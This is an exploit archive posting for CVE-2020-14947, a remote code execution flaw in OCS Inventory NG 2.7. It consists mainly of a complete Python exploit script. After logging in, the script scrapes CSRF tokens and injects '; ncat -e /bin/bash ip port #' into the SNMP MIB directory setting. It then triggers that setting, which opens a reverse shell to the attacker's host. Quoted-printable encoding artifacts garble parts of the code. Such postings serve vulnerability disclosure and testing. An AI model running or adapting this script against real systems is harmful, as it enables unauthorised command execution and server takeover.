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OCS Inventory NG 2.7 Remote Code Execution

OCS Inventory NG 2.7 Remote Code Execution
Posted Jul 3, 2020
Authored by Askar

OCS Inventory NG version 2.7 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-14947
MD5 | 11cc526d805b8e3ce99d3b7f7600418d

OCS Inventory NG 2.7 Remote Code Execution

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# Exploit Title: OCS Inventory NG 2.7 - Remote Code Execution
# Date: 2020-06-05
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-14947
# Vendor Homepage: https://ocsinventory-ng.org/
# Version: v2.7
# Tested on: Ubuntu 18.04 / PHP 7.2.24

#!/usr/bin/python3


import requests
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4')


if len(sys.argv) !=3D 6:
print("[~] Usage : ./ocsng-exploit.py url username password ip port")
exit()

url =3D sys.argv[1]
username =3D sys.argv[2]
password =3D sys.argv[3]
ip =3D sys.argv[4]
port =3D sys.argv[5]

request =3D requests.session()


def login():
login_info =3D {
"Valid_CNX": "Send",
"LOGIN": username,
"PASSWD": password
}
login_request =3D request.post(url+"/index.php", login_info)
login_text =3D login_request.text
if "User not registered" in login_text:
return False
else:
return True


def inject_payload():
csrf_req =3D request.get(url+"/index.php?function=3Dadmin_conf")
content =3D csrf_req.text
soup =3D BeautifulSoup(content, "lxml")
first_token =3D soup.find_all("input", id=3D"CSRF_10")[0].get("value")
print("[+] 1st token : %s" % first_token)
first_data =3D {
"CSRF_10": first_token,
"onglet": "SNMP",
"old_onglet": "INVENTORY"
}
req =3D request.post(url+"/index.php?function=3Dadmin_conf", data=3Dfir=
st_data)
content2 =3D req.text
soup2 =3D BeautifulSoup(content2, "lxml")
second_token =3D soup2.find_all("input", id=3D"CSRF_14")[0].get("value"=
)
print("[+] 2nd token : %s" % second_token)
payload =3D "; ncat -e /bin/bash %s %s #" % (ip, port)
#RELOAD_CONF=3D&Valid=3DUpdate
inject_request =3D {
"CSRF_14": second_token,
"onglet": "SNMP",
"old_onglet": "SNMP",
"SNMP": "0",
"SNMP_INVENTORY_DIFF": "1",
# The payload should be here
"SNMP_MIB_DIRECTORY": payload,
"RELOAD_CONF": "",
"Valid": "Update"
}
final_req =3D request.post(url+"/index.php?function=3Dadmin_conf", data=
=3Dinject_request)
if "Update done" in final_req.text:
print("[+] Payload injected successfully")
execute_payload()


def execute_payload():
csrf_req =3D request.get(url+"/index.php?function=3DSNMP_config")
content =3D csrf_req.text
soup =3D BeautifulSoup(content, "lxml")
third_token =3D soup.find_all("input", id=3D"CSRF_22")[0].get("value")
third_request =3D request.post(url+"/index.php?function=3DSNMP_config",=
files=3D{
'CSRF_22': (None, third_token),
'onglet': (None, 'SNMP_MIB'),
'old_onglet': (None, 'SNMP_RULE'),
'snmp_config_length': (None, '10')
})
print("[+] 3rd token : %s" % third_token)
third_request_text =3D third_request.text
soup =3D BeautifulSoup(third_request_text, "lxml")
forth_token =3D soup.find_all("input", id=3D"CSRF_26")[0].get("value")
print("[+] 4th token : %s" % forth_token)
print("[+] Triggering payload ..")
print("[+] Check your nc ;)")
forth_request =3D request.post(url+"/index.php?function=3DSNMP_config",=
files=3D{
'CSRF_26': (None, forth_token),
'onglet': (None, 'SNMP_MIB'),
'old_onglet': (None, 'SNMP_MIB'),
'update_snmp': (None, 'send')
})



if login():
print("[+] Valid credentials!")
inject_payload()
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